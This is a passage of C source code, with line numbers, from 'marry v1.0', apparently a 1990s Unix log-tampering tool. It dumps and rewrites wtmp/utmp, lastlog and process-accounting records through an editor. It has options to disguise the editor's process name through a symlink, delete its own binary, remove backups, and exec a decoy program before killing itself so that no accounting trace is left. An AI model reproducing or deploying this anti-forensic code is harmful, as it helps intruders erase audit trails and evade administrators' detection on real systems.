  1000.                         if (f_EditSrc)
  1001.                         {
  1002.                                 if (f_Squeeze)
  1003.                                         fprintf(stderr, "warning: the + operator can have unpredictable effects when used in conbination with -e and -s\n");
  1004.                                 else
  1005.                                 {
  1006.                                         fprintf(stderr, "error: + operator used with -e\n");
  1007.                                         exit(1);
  1008.                                 }
  1009.                         }
  1010.                         f_mod=2;
  1011.                         p++;
  1012.                         break;
  1013.                 default: {f_mod=0; break;}
  1014.                 }
  1015.                 if (sscanf(p, "%x", &uline)!=1)
  1016.                 {
  1017.                         perror("invalid line number in ascii input");
  1018.                         exit(1);
  1019.                 }
  1020.                 uline++;
  1021.                 if (!obj_update(uline, p, f_mod))
  1022.                 {
  1023.                         perror("read/write failed");
  1024.                         exit(1);
  1025.                 }
  1026.         }
  1027. closeup:
  1028.         display_end();
  1029.         fclose(ofh);
  1030.         fclose(ifh);
  1031.         fclose(afh);
  1032. }
  1033.  
  1034. FVOID usage(s)
  1035. char *s;
  1036. {
  1037.         fprintf(stderr, "usage: %s\t[-aetsuScDn] [-i src] [-o obj] [-d dump] [-p pat] [-v pat] [-m [WLA]]\n \t\t[-E editor] [-h program]\n", s);
  1038.         exit(1);
  1039. }
  1040.  
  1041. int main(argc, argv)
  1042. int argc;
  1043. char **argv;
  1044. {
  1045.         char *ed;
  1046.         char c;
  1047. #ifdef PACCT
  1048.         mode='A';
  1049. #endif
  1050. #ifdef LASTLOG
  1051.         mode='L';
  1052. #endif
  1053. #ifdef UTMP
  1054.         mode='W';
  1055. #endif
  1056.  
  1057.         puts("marry v1.0 (c) 1991 -- Proff -- All rights reserved.");
  1058.         umask(022);
  1059.         while ((c=getopt(argc, argv, "i:o:d:aetsp:v:m:uScDnE:h:b:"))!=-1)
  1060.         switch(c)
  1061.         {
  1062.                 case 'i':
  1063.                         a_Input=optarg;
  1064.                         break;
  1065.                 case 'o':
  1066.                         a_Output=optarg;
  1067.                         break;
  1068.                 case 'd':
  1069.                         a_Dump=optarg;
  1070.                         break;
  1071.                 case 'a':
  1072.                         f_Auto=1;
  1073.                         break;
  1074.                 case 'e':
  1075.                         f_EditSrc=1;
  1076.                         break;
  1077.                 case 't':
  1078.                         f_Truncate=1;
  1079.                         break;
  1080.                 case 's':
  1081.                         f_Squeeze=1;
  1082.                         break;
  1083.                 case 'p':
  1084.                         a_Pattern=optarg;
  1085.                         break;
  1086.                 case 'v':
  1087.                         f_Exclude=1;
  1088.                         a_Pattern=optarg;
  1089.                         break;
  1090.                 case 'm':
  1091.                         mode=*optarg;
  1092.                         break;
  1093.                 case 'u':
  1094.                         f_Uid=1;
  1095.                         break;
  1096.                 case 'S':
  1097.                         f_Security=1;
  1098.                         break;
  1099.                 case 'c':
  1100.                         f_Clean=1;
  1101.                         break;
  1102.                 case 'D':
  1103.                         f_DeleteSelf=1;
  1104.                         break;
  1105.                 case 'n':
  1106.                         f_NoBackups=1;
  1107.                         break;
  1108.                 case 'E':
  1109.                         a_Editor=optarg;
  1110.                         break;
  1111.                 case 'h':
  1112.                         a_Hide=optarg;
  1113.                         break;
  1114.                 case 'b':
  1115.                         a_Backup=optarg;
  1116.                         break;
  1117.                 case '?':
  1118.                 default:
  1119.                         fprintf(stderr, "%s: unknown option `%c'\n", argv[0], c
  1120. );
  1121.                         usage(argv[0]);
  1122.                         /* NOT_REACHED */
  1123.         }
  1124.         if (a_Output && f_EditSrc)
  1125.         {
  1126.                 perror("can't have -o and -e together");
  1127.                 exit(1);
  1128.         }
  1129.         switch(mode)
  1130.         {
  1131. #ifdef UTMP
  1132.         case 'W':
  1133.                 mode_size=sizeof(struct S_UTMP);
  1134.                 mode_data=&s_utmp;
  1135.                 if (!a_Input) a_Input=WTMP_FILE;
  1136.                 break;
  1137. #endif
  1138. #ifdef LASTLOG
  1139.         case 'L':
  1140.                 mode_size=sizeof(struct lastlog);
  1141.                 mode_data=&s_lastlog;
  1142.                 if (!a_Input) a_Input=LASTLOG_FILE;
  1143.                 break;
  1144. #endif
  1145. #ifdef PACCT
  1146.         case 'A':
  1147.                 mode_size=sizeof(struct acct);
  1148.                 mode_data=&s_acct;
  1149.                 if (!a_Input) a_Input=PACCT_FILE;
  1150.                 break;
  1151. #endif
  1152.         default:
  1153.                 fprintf(stderr, "unknown mode `%c'\n", mode);
  1154.                 usage();
  1155.                 /*NOT_REACHED*/
  1156.         }
  1157.         if (a_Pattern) uid=getpwnam(a_Pattern);
  1158.         if (uid) {uid_s=*uid; uid=&uid_s;}
  1159.         if (f_Auto)
  1160.         {
  1161.         struct stat st1, st2;
  1162.         int pid;
  1163.         int ws;
  1164.                 if (stat(a_Editor, &st1))
  1165.                 {
  1166.                         fprintf(stderr, "error: editor `%s' must exist with -a(check -E value)\n", a_Editor);
  1167.                         exit(1);
  1168.                 }
  1169.                 makedump();
  1170.                 if (f_Security)
  1171.                 {
  1172.                         sprintf(ac_comm_hide, "m%d", getpid());
  1173.                         symlink(a_Editor, ac_comm_hide);
  1174.                         ed=ac_comm_hide;
  1175.                 } else  ed=a_Editor;
  1176.  
  1177.                 stat(a_Dump, &st1);
  1178.                 if (!(pid=fork()))
  1179.                 {
  1180.                         printf("%s %s\n", ed, a_Dump);
  1181.                         fflush(stdout);
  1182.                         execlp(ed, ed, a_Dump, 0);
  1183.                         perror(ed);
  1184.                         _exit(1);
  1185.                 }
  1186.                 if (pid<0)
  1187.                 {
  1188.                         perror("fork");
  1189.                         exit(1);
  1190.                 }
  1191.                 while (wait(&ws)!=pid);
  1192.                 if (f_Security)
  1193.                         unlink(ac_comm_hide);
  1194.                 stat(a_Dump, &st2);
  1195.                 if (st1.st_mtime==st2.st_mtime)
  1196.                 {
  1197.                         fprintf(stderr, "`%s' not modified -- aborted\n", a_Dump);
  1198.                         exit(1);
  1199.                 }
  1200.                 if (!a_Output || !strcmp(a_Input, a_Output))
  1201.                 {
  1202.                         backup(a_Input);
  1203.                         f_backedup=1;
  1204.                         if (!a_Output) a_Output=a_Input;
  1205.                         if (!f_EditSrc)
  1206.                                 a_Input=a_Backup;
  1207.                 }
  1208.                 makeobject();
  1209.                 if (f_Clean)
  1210.                         unlink(a_Dump);
  1211.                 if ((f_Clean || f_NoBackups) && f_backedup) unlink(a_Backup);
  1212.         }
  1213.         else if (a_Output)
  1214.                 {
  1215.                         if (!strcmp(a_Input, a_Output))
  1216.                         {
  1217.                                 backup(a_Input);
  1218.                                 f_backedup=1;
  1219.                                 if (!f_EditSrc)
  1220.                                         a_Input=a_Backup;
  1221.                         }
  1222.                         makeobject();
  1223.                         if (f_Clean)
  1224.                                 unlink(a_Dump);
  1225.                         if ((f_Clean || f_NoBackups) && f_backedup) unlink(a_Backup);
  1226.                 } else
  1227.                         makedump();
  1228.         if (f_DeleteSelf) unlink(argv[0]);
  1229.         puts("Done.");
  1230.         if (f_Security)
  1231.         {
  1232.                 close(0);
  1233.                 close(1);
  1234.                 close(2);
  1235.                 setsid();
  1236.                 if (a_Hide)
  1237.                 {
  1238.                         execlp(a_Hide, a_Hide, 0);
  1239.                         perror(a_Hide);
  1240.                 }
  1241.                 if (f_Security)
  1242.                         kill(getpid(), SIGKILL);
  1243.         }
  1244.         exit(0);
  1245. }
  1246.  
  1247.  
  1248.